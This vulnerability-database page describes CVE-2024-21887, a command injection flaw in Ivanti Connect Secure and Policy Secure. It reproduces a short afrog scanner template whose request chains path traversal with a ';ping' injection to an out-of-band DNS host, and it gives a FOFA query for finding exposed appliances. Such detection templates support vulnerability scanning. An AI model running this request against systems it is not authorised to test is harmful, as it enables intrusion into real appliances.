Description A command injection vulnerability in web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows an authenticated administrator to send specially crafted requests and execute arbitrary commands on the appliance.fofa: body="welcome.cgi?p=logo"
DetailsCVECVE-2024-21887 · CVE.orgSeverity高危AffectedIvanti Connect SecurePublished2025-08-01PoCPublic
PoC Copy id: CVE-2024-21887 info: name: Ivanti Connect Secure 远程命令注入 author: zan8in severity: critical verified: true description: |- A command injection vulnerability in web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows an authenticated administrator to send specially crafted requests and execute arbitrary commands on the appliance. fofa: body="welcome.cgi?p=logo" reference: - https://nvd.nist.gov/vuln/detail/CVE-2024-21887 tags: ivanti,rce,cve,cve2024 created: 2024/02/01 set: oob: oob() oobDNS: oob.DNS rules: r0: request: method: GET path: /api/v1/totp/user-backup-code/../../license/keys-status/%3bping%20{{oobDNS}} expression: oobCheck(oob, oob.ProtocolDNS, 3) expression: r0() # Visit https://trap.biu.life/ to view exploit trends for this vulnerability. Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2024/CVE-2024-21887.yaml
References https://nvd.nist.gov/vuln/detail/CVE-2024-21887 https://forums.ivanti.com/s/article/CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways https://hub.ivanti.com/s/article/CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways https://github.com/Chocapikk/CVE-2024-21893-to-CVE-2024-21887 https://accuknox.com/cve-database/cve-2024-21887-ivanti-command-injection https://www.akamai.com/blog/security-research/ivanti-january-rce-cve-zero-day-exploitation-observed https://www.huntress.com/threat-library/vulnerabilities/cve-2024-21887-vulnerability https://www.cve.org/CVERecord?id=CVE-2024-21887 https://www.rapid7.com/db/modules/exploit/linux/http/ivanti_connect_secure_rce_cve_2024_21893/ https://www.sentinelone.com/vulnerability-database/cve-2024-21887/ https://attackerkb.com/topics/sfZSUMbpkU/cve-2024-21887 https://www.tenable.com/cve/CVE-2024-21887 https://www.lmboke.com/archives/ivanti-connect-secureyuan-cheng-ming-ling-zhu-ru-lou-dong-cve-2024-21887 https://isecurity.huawei.com/sec/web/viewAlert.do?id=2481
Related VulnerabilitiesPoCCVE-2023-49606: Tinyproxy < 1.11.2 - Use After Free in HTTP Connection HeaderPoCCVE-2026-123270: Redpanda Connect Streams API - Unauthenticated Remote Code ExecutionPoCCVE-2026-110372: WordPress OttoKit Plugin <= 1.1.40 - Unauthenticated Privilege Escalation via connection-denied TokenPoCCVE-2026-12800: Premium Packages – Sell Digital Products Securely - SQL InjectionPoCCVE-2026-15015: MountDev AI MCP Connector <= 1.6.1 - Unauthenticated Admin OAuth Token Exposure關於時間科技|Herowatch Go Server - Insecure Direct Object ReferenceOpenCATS /ajax.php?f=install:ui&a=databaseConnectivity 代码执行漏洞(CVE-2026-27760)PoCCVE-2026-104935: Ivanti Connect Secure <= 22.8R2.4 - Authentication Bypass via X-DSCGI-PATH HeaderPoCoidc-signing-alg-none-supported: OpenID Connect - Unsigned (alg none) ID Token SupportedPoCCVE-2026-1340: Ivanti EPMM < 12.8.0.0 - Remote Code ExecutionPoCCVE-2026-1281: Ivanti EPMM <=12.7.0.0 - Unauthenticated Code InjectionPoCCVE-2024-1708: ConnectWise ScreenConnect <= 23.9.7 - Path TraversalPoCCVE-2015-7501: Red Hat JBoss - Insecure Deserialization